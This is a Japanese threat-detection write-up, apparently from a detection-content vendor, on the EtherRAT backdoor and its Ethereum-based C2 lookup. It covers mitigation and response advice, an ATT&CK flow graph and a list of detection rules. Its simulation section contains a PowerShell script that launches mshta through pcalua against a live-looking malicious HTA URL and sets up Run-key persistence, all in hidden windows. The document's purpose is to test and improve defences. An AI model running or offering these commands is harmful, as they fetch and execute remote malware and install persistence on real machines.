EtherRATとSYS_INFOモジュール:Ethereum上のC2(EtherHiding)、ターゲット選択、CDNのようなビーコン
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
EtherRATは、Ethereumスマートコントラクトからそのコマンド・アンド・コントロールエンドポイントを解決する「EtherHiding」アプローチを使用するNode.jsバックドアです。このバックドアは、ビーコンを通常のCDNリクエストに似せることで通常のWebトラフィックに溶け込みながら、暗号通貨ウォレットやクラウドの資格情報などの高価値データをターゲットにします。初期アクセスは主に、ClickFixスタイルのソーシャルエンジニアリングや偽のITサポートの誘い込みによって推進され、pcalua.exeやmshta.exeを通じて悪意のあるHTA実行を引き起こします。
調査
eSentireのThreat Response Unitは、AES-256-CBC復号化ワークフローやHKCURunレジストリ値を介した永続化、広範なホストプロファイリングを行うSYS_INFOモジュールを含むマルチステージローダーチェーンを観察しました。EtherRATは、関連するスマートコントラクトを見つけるために複数の公共Ethereum RPCプロバイダーに接続し、CDNに似たURLを作り出し、それらをタスキングや継続的なコマンドのために調査し、その「正当なトラフィック」の偽装を強化します。
緩和策
AppLockerまたはWDACを使用してpcalua.exeやmshta.exeをブロックまたは厳密に管理し、グループポリシーを介してWindowsの実行ダイアログを制限します。可能であれば、既知の公開暗号通貨RPCインフラへのアクセスを制限またはブロックし、必要のないエンドポイントからの予期しないEthereum RPC使用に警告を出します。Node.jsベースのバックドアを検出できるエンドポイントコントロールを展開し、特定のドメインに似たCDNフェッチ動作を模倣する異常なビーコンパターンの監視を行います。
対応
EtherRAT活動が検出された場合は、エンドポイントを隔離し、実行中のプロセスを終了し、HKCURun永続化エントリとドロップされたアーティファクトを削除します。追加のペイロードが仕込まれていないことを確認するために全面的なフォレンジックスキャンを行い、暗号通貨ウォレットシークレットやクラウドサービズキーを優先して露出した資格情報を回転させます。類似のEthereum-RPCルックアップやCDNに似たポーリング動作を環境全体で探し、潜在的な拡散をスコープします。
"graph TB %% Class definitions classDef technique fill:#ffcc99 classDef tool fill:#c2c2f0 classDef process fill:#99ff99 classDef malware fill:#ff9999 classDef operator fill:#ff9900 %% Nodes u2013 Techniques tech_initial_access["<b>Technique</b> – <b>T1218.005 System Binary Proxy Execution</b><br/>pcalua.exe launches mshta.exe to download and execute malicious HTA"] class tech_initial_access technique tech_indirect_cmd_exec["<b>Technique</b> – <b>T1202 Indirect Command Execution</b><br/>Obfuscates command line to invoke other binaries"] class tech_indirect_cmd_exec technique tech_cmd_shell["<b>Technique</b> – <b>T1059.003 Command and Scripting Interpreter: Windows Command Shell</b><br/>Runs PowerShell and reg commands for fingerprinting"] class tech_cmd_shell technique tech_persistence["<b>Technique</b> – <b>T1546.007 Netsh Helper DLL</b> and <b>T1037.004 RC Scripts</b><br/>Creates HKCU Run key launching conhost.exe headless node.exe"] class tech_persistence technique tech_defense_evasion["<b>Technique</b> – <b>T1027 Obfuscated Files or Information</b> with subu2011techniques Polymorphic Code, Dynamic API Resolution, Embedded Payloads, Deobfuscate/Decode"] class tech_defense_evasion technique tech_c2_resolver["<b>Technique</b> – <b>T1102.001 Dead Drop Resolver</b><br/>Retrieves C2 address from an Ethereum smart contract"] class tech_c2_resolver technique tech_c2_comm["<b>Technique</b> – <b>T1102 Web Service</b> with bidirectional (T1102.002) and oneu2011way (T1102.003) communication<br/>HTTPS requests mimic CDN traffic"] class tech_c2_comm technique tech_collection["<b>Technique</b> – <b>T1602.002 Network Device Configuration Dump</b><br/>Collects OS, hardware, network, AV, crypto wallet files and cloud credentials"] class tech_collection technique tech_exfiltration["<b>Technique</b> – <b>T1041 Exfiltration Over C2 Channel</b><br/>Sends collected data back through the same HTTPS channel"] class tech_exfiltration technique tech_impact_hijack["<b>Technique</b> – <b>T1496.001 Compute Hijacking</b><br/>Steals cryptocurrency wallet files"] class tech_impact_hijack technique tech_impact_cloud["<b>Technique</b> – <b>T1537 Transfer Data to Cloud Account</b><br/>Uploads credentials to cloud storage"] class tech_impact_cloud technique tech_software_ext["<b>Technique</b> – <b>T1176 Software Extensions</b> and <b>T1505.004 IIS Components</b><br/>Downloads Node.js runtime and additional modules"] class tech_software_ext technique tech_lateral["<b>Technique</b> – <b>T1080 Taint Shared Content</b><br/>Downloads further payloads/modules from remote servers"] class tech_lateral technique %% Nodes u2013 Tools tool_pcalua["<b>Tool</b> – <b>Name</b>: pcalua.exe<br/><b>Description</b>: Windows Update Standalone Installer used as a proxy"] class tool_pcalua tool tool_cmd["<b>Tool</b> – <b>Name</b>: cmd.exe<br/><b>Description</b>: Windows command shell with caret obfuscation"] class tool_cmd tool tool_ethereum["<b>Tool</b> – <b>Name</b>: Ethereum RPC provider<br/><b>Description</b>: Public RPC endpoints used to query the smart contract"] class tool_ethereum tool tool_nodejs["<b>Tool</b> – <b>Name</b>: Node.js runtime<br/><b>Description</b>: Executes additional modules downloaded from C2"] class tool_nodejs tool %% Nodes u2013 Processes process_mshta["<b>Process</b> – <b>Name</b>: mshta.exe<br/><b>Description</b>: Executes HTA files"] class process_mshta process process_powershell["<b>Process</b> – <b>Name</b>: powershell.exe<br/><b>Description</b>: Runs PowerShell scripts for system fingerprinting"] class process_powershell process process_conhost["<b>Process</b> – <b>Name</b>: conhost.exe<br/><b>Description</b>: Host process used to launch headless node.exe"] class process_conhost process process_https["<b>Process</b> – <b>Name</b>: HTTPS client<br/><b>Description</b>: Sends requests such as /api/<hex>/<UUID>.ico mimicking CDN traffic"] class process_https process process_remote_download["<b>Process</b> – <b>Name</b>: downloader<br/><b>Description</b>: Retrieves additional payloads from remote servers"] class process_remote_download process %% Nodes u2013 Malware malware_obfuscator["<b>Malware</b> – <b>Name</b>: Obfuscator.io generated payload<br/><b>Description</b>: AESu2011256u2011CBC encrypted stages with polymorphic code"] class malware_obfuscator malware %% Connections tech_initial_access –>|uses| tool_pcalua tool_pcalua –>|launches| process_mshta process_mshta –>|downloads| "shep.hta" tech_initial_access –>|leads to| tech_indirect_cmd_exec tech_indirect_cmd_exec –>|uses| tool_cmd tool_cmd –>|invokes| process_powershell process_powershell –>|executes| tech_cmd_shell tech_cmd_shell –>|enables| tech_persistence tech_persistence –>|creates| process_conhost process_conhost –>|launches| tool_nodejs tech_defense_evasion –>|applies to| malware_obfuscator malware_obfuscator –>|provides payload for| tool_nodejs tech_c2_resolver –>|retrieves address via| tool_ethereum tool_ethereum –>|queries| "Ethereum smart contract" tech_c2_comm –>|communicates over| process_https process_https –>|transfers data to| tech_collection tech_collection –>|data exfiltrated via| tech_exfiltration tech_exfiltration –>|delivers to| tech_impact_hijack tech_exfiltration –>|delivers to| tech_impact_cloud tech_software_ext –>|downloads| tool_nodejs tool_nodejs –>|enables| tech_lateral tech_lateral –>|downloads| process_remote_download "
攻撃フロー
検出
LOLBAS Pcalua(コマンドライン経由)
見る
Lolbinプロセスによるファイル作成(file_event経由)
見る
MsiExecがシェルプロセスによって生成される(コマンドライン経由)
見る
LOLBAS Conhost(コマンドライン経由)
見る
関連するコマンドの検出によるLOLBAS MSHTA防御回避挙動(プロセス作成経由)
見る
IPルックアップドメイン通信の試みの可能性(dns経由)
見る
アカウントまたはグループの列挙/操作の可能性(コマンドライン経由)
見る
疑わしいCURLの使用(コマンドライン経由)
見る
WMIを使用したWindows仮想化環境の検出の可能性(コマンドライン経由)
見る
永続化ポイントの可能性 [ASEPs – ソフトウェア/NTUSERハイブ] (コマンドライン経由)
見る
回避チェックの可能性(PowerShell経由)
見る
キャレットを挿入することでコマンドラインオブフスケーションの可能性がある(コマンドライン経由)
見る
アンチウイルスまたはファイアウォールソフトウェアの列挙の可能性(プロセス作成経由)
見る
Linuxシステム情報の探索(コマンドライン経由)
見る
EtherRAT & SYS_INFOモジュールを検出するためのIOC(SourceIP):Ethereum上のC2(EtherHiding)、ターゲット選択、CDNに似たビーコン
見る
EtherRAT & SYS_INFOモジュールを検出するためのIOC(DestinationIP):Ethereum上のC2(EtherHiding)、ターゲット選択、CDNに似たビーコン
見る
EtherRAT & SYS_INFOモジュールを検出するためのIOC(HashSha256):Ethereum上のC2(EtherHiding)、ターゲット選択、CDNに似たビーコン
見る
ClickFixを通じたEtherRAT初期アクセスと間接的コマンド実行を検出[Windowsプロセス作成]
見る
シミュレーション実行
前提条件:テレメトリー及びベースラインの予備チェックはパス済みでなければなりません。
根拠:このセクションでは、検出ルールをトリガーするために設計された敵技法(TTP)の正確な実行を詳述します。コマンドとナラティブは、TTPで特定されたものを直接的に反映し、検出ロジックが期待する正確なテレメトリーを生成することが目標です。抽象的または無関係な例は誤診を招く可能性があります。
-
攻撃の流れとコマンド:
- 初期アクセス-ClickFixドロッパー: 攻撃者は隠された悪意のあるClickFixインストーラーを活用し
cmd.exeをコールしますpcalua.exe. - 間接実行:
pcalua.exe次のように指示されていますmshta.exeにリモートのHTAファイルを対して起動するhttps://www‑flow‑submission‑management.shepherdsestates.uk/shep.hta.このHTAスクリプトはEtherRATペイロードをロードします。 - 永続化セットアップ: ドロッパーはチェーンされた
Runレジストリ値を追加しますHKCUSoftwareMicrosoftWindowsCurrentVersionRunにポイントするconhost.exe→node.exeの実行チェーン、新しいログオン時にマルウェアが起動することを保証します。 - ドメイン偵察: 同時に、PowerShellのワンライナーが実行され、マシンのドメイン名を読み取り、ホストがドメインに参加していることを攻撃者に示します。
全ての3つのコマンドラインは、Sigmaルールの
cmd.exeにマッチする隠しインジケーター1/インジケーター2orインジケーター3の組み合わせで実行されます。 - 初期アクセス-ClickFixドロッパー: 攻撃者は隠された悪意のあるClickFixインストーラーを活用し
-
リグレッションテストスクリプト: 以下のスクリプトは正確なコマンドラインを再現します(ユーザーごとのパスは環境変数で解決されます)。
# ------------------------------------------------------------- # EtherRAT初期アクセスシミュレーション-PowerShellラッパー # ------------------------------------------------------------- $username = $env:USERNAME $htaUrl = "https://www-flow-submission-management.shepherdsestates.uk/shep.hta" $runKeyPath = 'HKCU:SoftwareMicrosoftWindowsCurrentVersionRun' $runValueName = '0c939bf7ae8f' $conhostPath = "$env:WINDIRSystem32conhost.exe" $nodePath = "C:Users$usernameAppDataLocalVZM5DHxgYbxqnode.exe" $payloadBin = "C:Users$usernameAppDataLocalVZM5DHTlHAiIlxoF.bin" # 1. インジケーター1 - pcalua -> mshta $cmd1 = "C:Windowssystem32cmd.exe /min /c `"pcalua.exe -a mshta.exe -c $htaUrl`"" Start-Process -FilePath "C:Windowssystem32cmd.exe" -ArgumentList "/min /c `"pcalua.exe -a mshta.exe -c $htaUrl`"" -WindowStyle Hidden # 2. インジケーター2 - レジストリRunキーとconhostチェーン $regCommand = "reg add `"HKCUSoftwareMicrosoftWindowsCurrentVersionRun`" /v `"$runValueName`" /t REG_SZ /d `"$conhostPath --headless `"$nodePath`" `"$payloadBin`"`" /f" $cmd2 = "C:Windowssystem32cmd.exe /d /s /c `"$regCommand`"" Start-Process -FilePath "C:Windowssystem32cmd.exe" -ArgumentList "/d /s /c `"$regCommand`"" -WindowStyle Hidden # 3. インジケーター3 - PowerShellドメインクエリ $psCommand = "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command `"(Get-WmiObject Win32_ComputerSystem).Domain`"" $cmd3 = "C:Windowssystem32cmd.exe /d /s /c `"$psCommand`"" Start-Process -FilePath "C:Windowssystem32cmd.exe" -ArgumentList "/d /s /c `"$psCommand`"" -WindowStyle Hidden Write-Host "`n[+] シミュレーションコマンドが発行されました。SIEMで一致するアラートを確認してください。" -
クリーンアップコマンド: レジストリエントリを削除し、シミュレーションで作成されたファイルを削除します。
# ------------------------------------------------------------- # クリーンアップ - Runキーと一時ファイルを削除 # ------------------------------------------------------------- $runKeyPath = 'HKCU:SoftwareMicrosoftWindowsCurrentVersionRun' $runValueName = '0c939bf7ae8f' # Runキー値を削除 if (Test-Path $runKeyPath) { Remove-ItemProperty -Path $runKeyPath -Name $runValueName -ErrorAction SilentlyContinue Write-Host "[+] レジストリRun値$runValueNameを削除しました" } # 残存ファイルを削除(作成されていた場合) $paths = @( "$env:TEMPbenign.txt" # ベースラインから(オプション) ) foreach ($p in $paths) { if (Test-Path $p) { Remove-Item $p -Force } } Write-Host "[+] クリーンアップ完了。"